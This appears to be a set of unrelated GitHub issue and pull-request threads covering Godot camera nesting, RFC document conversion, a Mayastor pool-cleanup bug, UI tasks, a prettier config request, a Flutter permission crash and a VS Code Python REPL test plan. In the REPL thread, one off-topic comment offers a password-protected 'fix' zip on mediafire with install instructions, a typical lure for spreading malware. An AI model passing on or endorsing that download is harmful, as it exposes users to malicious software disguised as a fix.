Thank you a lot for this great addon that I can't wait to use (and the really cool docs that come with it) !

The wording “Without a parent node except for the scene's root.” is less of a strict requirement, and more of a general rule of thumb. It was added as I noticed a fair few people had nested PCams inside a parent node that was moving, which caused undesired follow mode behaviour, who then submitted bug reports. Keeping a PCam as a child of the scene root makes it so that issue wouldn't occur, assuming people didn't move the root node itself. But you're right in that it's not strictly true. Like most general rules, you can break them if you know what you're doing. In the Tweening example scene's case, those PCams nor its parent Area2D are meant to move, so in cases like that it doesn't matter whether they're nested or not.
Have been thinking of adding an option to set PCams as a top-level node, which would make the requirement note on the site go away, but that can lead to breaking behaviour, so it's likely for a 0.8 release.


Convert two existing internet-drafts for exemplary usage

As title.

Douglass has been converted to Asciidoc-RFC
Path is:
Douglass.RFC > Douglass.AsciidocRFC  (done)
IcalRelations.RFC > IcalRelations.AsciidocRFC
Douglass.AsciidocRFC > Douglass.AsciidocCSD
IcalRelations.AsciidocRFC > IcalRelations.AsciidocCSD

AsciidocRFC done for both

Douglass converted to CSD that will compile into documents.
I will be doing just enough to compile these, and then turning to the long list of bugs and validation errors. The work is basically converting the RFCXML bibliographies at a first cut, and working out what to do with the ascii art.

Converted IcalRelations as well.
Allowed Ascii Art in figures in CSD.

Questions back to you, @ronaldtse:

ISO Standards have mandatory, boilerplate-heavy forewords. Should CSD? If so, I'll need sample text for the exemplars.

Do you want the ISO rules about decimals? Including that decimal point should be avoided in favour of decimal comma?

Do you care about what kinds of references are normative?

ISO Standards has boilerplate, and CSD should also have boilerplate for legal issues. But I don't have the text now.

I think they are rather specific with ISO, I don't think we care about that in CSD.

Yes, CSD will need to differentiate normative references from informative ones.

Speaking of RFC XML bibliographies -- it brings back a suggestion I made before about making a gem. Now, in fact, we should transform RFC bibliography into RfcBibliographicItem!

Question: any model updates we need to do -- and could you do it?

There are plenty of needed updates for the RFC biblio model. I can do the model updates. I will not work on asciidoc-bibliography—as I've said, I need to constrain what I work on.

Need to fix RFC as well

RFC fixed. There is no foreword currently; once you supply it, you can add it to the CSD documents.


msp still in use when no pv exist

Describe the bug
I use a statefulset to create 300 pods for attach test. However when I delete test namespace and pv, msp is still in use and cannot be deleted.
To Reproduce
I use statefulset yaml like this:
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: statefulset-local
  namespace: test
  labels:
    app: nginx
spec:
  podManagementPolicy: Parallel  # default is OrderedReady
  serviceName: statefulset-local
  replicas: 300
  template:
    metadata:
      labels:
        app: nginx
    spec:
      nodeSelector:
        "kubernetes.io/os": linux
      containers:
        - name: statefulset-local
          image: mcr.microsoft.com/oss/nginx/nginx:1.19.5
          command:
            - "/bin/bash"
            - "-c"
            - set -euo pipefail; while true; do echo $(date) >> /mnt/local/outfile; sleep 1; done
          volumeMounts:
            - name: persistent-storage
              mountPath: /mnt/local
  updateStrategy:
    type: RollingUpdate
  selector:
    matchLabels:
      app: nginx
  volumeClaimTemplates:
    - metadata:
        name: persistent-storage
        annotations:
          volume.beta.kubernetes.io/storage-class: mayastor-1
      spec:
        accessModes: ["ReadWriteOnce"]
        resources:
          requests:
            storage: 0.1Gi

I delete ns test and all PV created by mayastor-1 but msp is still in use.
k get msp -n mayastor
WARNING: version difference between client (1.25) and server (1.23) exceeds the supported minor version skew of +/-1
NAME                                   NODE                                   STATUS    CAPACITY        USED         AVAILABLE
aks-mayastorpool-94457304-vmss000000   aks-mayastorpool-94457304-vmss000000   Online<PHONE_NUMBER>648<PHONE_NUMBER><PHONE_NUMBER>000
aks-mayastorpool-94457304-vmss000001   aks-mayastorpool-94457304-vmss000001   Online<PHONE_NUMBER>648<PHONE_NUMBER><PHONE_NUMBER>824
aks-mayastorpool-94457304-vmss000002   aks-mayastorpool-94457304-vmss000002   Online<PHONE_NUMBER>2<PHONE_NUMBER><PHONE_NUMBER>4
aks-mayastorpool-94457304-vmss000003   aks-mayastorpool-94457304-vmss000003   Online<PHONE_NUMBER>2<PHONE_NUMBER><PHONE_NUMBER>6
aks-mayastorpool-94457304-vmss000004   aks-mayastorpool-94457304-vmss000004   Online<PHONE_NUMBER>648<PHONE_NUMBER><PHONE_NUMBER>176

Expected behavior
I think USED 0 is expected.
Screenshots
If applicable, add screenshots to help explain your problem.

OS info (please complete the following information):

Distro: [e.g. NixOS]
Kernel version
MayaStor revision or container image

Additional context
Add any other context about the problem here.

@abhilashshetty04 the PV garbage collector is not on version 1 right? If not then it explains why this happened?
@umagnus if you're on v1 I suspect you might have to clean the mayastor volumes directly. You can use curl to retrieve all volumes and delete them 1by1. Let me know if you need any help with this.

The volume reclaim policy was set to Delete.
$k get sc
NAME                    PROVISIONER               RECLAIMPOLICY   VOLUMEBINDINGMODE      ALLOWVOLUMEEXPANSION   AGE
mayastor-1              io.openebs.csi-mayastor   Delete          WaitForFirstConsumer   false                  32d

#1269 and #1082 point to issues related to this


[TASK] Select and Multiselect Improvements

Estimated story points: 8
Description

[x] The shadow should be larger to offset it from the background
[x] The control itself should remain visible when the dropdown is open (remove the negative offset in popper)
[x] Emptystate
[x] Search should be disableable for gender field e.g.
[x] dropdown should be scrollable
[x] Select should close once a selection has been made

Acceptance criteria

time: 10h


docs: fix the example so that it compiles

I had to change the init and update function to use a tuple of #(state, cmd) and to make the Action type public. Gleam format added some noise to the diff

Gleam format 😩 Guess I'm going to have to succumb to the pressure and use it eh. Thanks!


Unable to withdraw to arbitrary consensus account

I get this popup, but the "Confirm" button does not become clickable.

I'm on version 1.8.2 of the wallet.

Related to https://github.com/oasisprotocol/oasis-wallet-ext/issues/243
Intentionally disabled in https://github.com/oasisprotocol/oasis-wallet-ext/pull/271

We had a half-finished implementation for this: https://github.com/oasisprotocol/oasis-wallet-web/pull/1025
... but canned until further discussion.


Implement E2E test scenario for Atlasmap UI

Based on original issue and previous narratives leveraging Datamapper/Atlasmap usage.

FYI tests might be blocked by https://github.com/atlasmap/atlasmap/issues/28

Done via #1. Thanks @jludvice 👍 !


Add prettier config file

Currently we don't have a prettier file defined and appears that Visual Studio then just picks up whatever file it finds in a parent directory or you default prettier definition instead. This cause a bit of pain when you are editing opentelemetry files as you shouldn't forget to run lint:fix to ensure I changes it back.
Would it be possible to add a .prettierrc-file were we define the Prettier rules? Selfish, I know but it would keep my projects nicely organised on my computer 😅

I use the EsLint plugin in VsCode and after adding following in .vscode\settings.json it works fine for me:
{
    "typescript.tsdk": "node_modules/typescript/lib",
    "eslint.options": {
        "parserOptions": {
            "project": [
              "${workspaceFolder}/tsconfig.json"
            ],
          }
    }
}

I'm pretty sure that eslint should handle this for us, i don't see why prettier is needed

The current eslint configuration uses prettier to enforce the formatting but its not really declarative so I thought it's probably better to add a .prettierrc to the project which is then used by eslint to make it clearer which exact prettier rules are applied.
Now it's just: "prettier/prettier": ["error", { "singleQuote": true, "arrowParens": "avoid" }], which is not obvious if this means these two options are enforced.
Adding the file always wouldn't require people to disable format on save setting for this specific project

Didn't know that it was prettier behind the scene, thanks for the explanation.
I'm not really sure if that wouldn't more problem like "the config doesn't work for my setup" and instead of configuring the given setup to use eslint, we would need us to make effort :/
To be more clear i'm not specially against, but i think it makes sense for people to configure their IDE to contribute "correctly"

Closing as prettier has been removed from the probject.


Test Plan Item) Correct Directory for Native REPL

Refs: https://github.com/microsoft/vscode-python/issues/23821

[ ] macOS
[ ] linux
[ ] windows

Complexity: 3
Create Issue

Thank you in advance for testing to make sure correct directory is set for native REPL.
Please let me know if you have any questions, problems, comments.

Setup:

Install latest pre-release version of Python extension
Please make sure you have checked setting to send Python commands to native REPL:

4. Prepare 3 different type of workspace scenario: 1. Empty workspace, 2. Single workspace, 3. Multi-workspace.

Steps:

Open command palette via (cmd/ctrl + shift + p) and search for launching native REPL

Observe native REPL open as editor and type

import os
os.getcwd()

If you are at empty workspace scenario the output should be /
If you are at single workspace scenario, it should be root of that workspace
If you are at multi workspace scenario, you should be observing quick select and see list of your workspace directories listed as an option

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

overall worked well, I liked the quick pick selector which had details on repo name + path. great job 😃

It works as expected for me for the single and multi folder workspace. I am not sure if I am testing the empty workspace case correctly however. I closed all folders in my workspace and I trigger the command, this results in the error command 'python.startNativeREPL' not found ?
https://github.com/user-attachments/assets/f90a0200-a59c-4485-b18f-cd26a94c74a6


Fix links pointing to an incorrect target

Thanks for your contribution @gregorwolf - pull request will be merged! Thanks for supporting us in keeping the repository in a good shape!


After requesting not granted permissions, the result should be dispatched on main thread

Description
Seeing the following crash reported multiple times in Sentry:
java.lang.RuntimeException: Methods marked with @UiThread must be executed on the main thread. Current thread: DefaultDispatcher-worker-1
    at io.flutter.embedding.engine.FlutterJNI.ensureRunningOnMainThread(FlutterJNI.java:37)
    at io.flutter.embedding.engine.FlutterJNI.dispatchPlatformMessage(FlutterJNI.java:1)
    at mb.c.d(DartMessenger.java:79)
    at mb.a$c.c(DartExecutor.java:4)
    at mb.a.c(DartExecutor.java:3)
    at yb.d$c$a.a(EventChannel.java:50)
    at y1.j1.e(CameraPermissions.kt:166)
    at io.flutter.embedding.engine.c$c.i(FlutterEngineConnectionRegistry.java:21)
    at io.flutter.embedding.engine.c.e(FlutterEngineConnectionRegistry.java:14)
    at io.flutter.embedding.android.f.y(FlutterActivityAndFragmentDelegate.java:60)
    at io.flutter.embedding.android.e.onRequestPermissionsResult(FlutterActivity.java:11)
    at android.app.Activity.requestPermissions(Activity.java:5633)
    at androidx.core.app.b$b.b(ActivityCompat.java:1)
    at androidx.core.app.b.r(ActivityCompat.java:140)
    at y1.j1.g(CameraPermissions.kt:100)
    at y1.j1$b.invokeSuspend(CameraPermissions.kt:48)
    at kotlin.coroutines.jvm.internal.a.resumeWith(ContinuationImpl.kt:12)
    at nd.r0.run(DispatchedTask.kt:124)
    at sd.o$a.run(LimitedDispatcher.kt:4)
    at ud.k.run(Tasks.kt:3)
    at ud.a.z(CoroutineScheduler.kt:1)
    at ud.a$c.d(CoroutineScheduler.kt:15)
    at ud.a$c.p(CoroutineScheduler.kt:29)
    at ud.a$c.run(CoroutineScheduler.kt:1)

After some investigation, it turned out that after requesting the not-granted permissions, the callback function is invoked from the IO thread, which then leads to the java.lang.RuntimeException: Methods marked with @UiThread must be executed on the main thread. In order to fix it, we must dispatch the callback invocation to the main thread, similarily as in the case of requesting audio permission.
Closes #450
Checklist
Before creating any Pull Request, confirm that it meets all requirements listed below by checking the relevant checkboxes ([x]).

[x] 📕 I read the Contributing page.
[x] 🤝 I match the actual coding style.
[x] ✅ I ran flutter analyze without any issues.

Breaking Change

[ ] 🛠 My feature contain breaking change.

If your feature break something, please detail it

This solution didn't work for me. It wasn't just the sentry logs that were crashing; the app was actively crashing. I have posted a fix on #511.


ISSUE 5: README Type

I think you have a small error in your README under the License: Alan PowPowichrowski
I can quickly fix this!

thank you!


atmos plot set 14 end cases

There is at least one case where plot set 14 needs more work - an exception is thrown if there be no obs.  There may be other, similar, end cases.

In general I need to do bullettproofing and beautification.


Move cost calculation out of the offer object

Is your feature request related to a problem? Please describe.
The current implementation of the cost calculation is hard to test and not very transparent. I would feel better and more comfortable working on the calculations when they are separated better.
Describe the solution you'd like
In an optimal case the calculation of costs would be done in functions so you could call
BigDecimal getTotalCosts() {
  determineUnitPrice.andThen(calculatePositionNet).andThen(applyDiscounts).andThen(applyOverheads).apply(productItem)
}

The functions could be tested independent of each other.
Describe alternatives you've considered
A major refactor of the test suite.

https://github.com/qbicsoftware/offer-manager-2-portlet/tree/feature/cost-calculation